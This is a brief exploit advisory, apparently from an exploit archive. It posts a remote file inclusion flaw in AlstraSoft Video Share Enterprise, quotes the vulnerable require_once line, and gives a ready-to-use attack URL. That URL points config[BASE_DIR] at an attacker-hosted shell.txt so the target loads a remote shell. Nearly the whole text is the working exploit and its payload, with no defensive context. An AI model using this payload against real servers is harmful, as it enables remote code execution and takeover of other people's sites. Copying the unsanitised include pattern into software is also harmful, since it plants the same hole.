##Night_Warrior<Kurdish Hacker>

##night_warrior-[at]hotmail.com

##AlstraSoft Video Share Enterprise Remote File Include Vulnerability

##Contact : night_warrior-[at]hotmail.com

##hompage : www.alstrasoft.com

##vuln code :

myajaxphp.php line 11

require_once($config['BASE_DIR'] . "/ajax/cpaint2.inc.php");

http://www.example.com/[Script Path]/ajax/myajaxphp.php?config[BASE_DIR]=http://atacker.com/shell.txt?

[ reply ]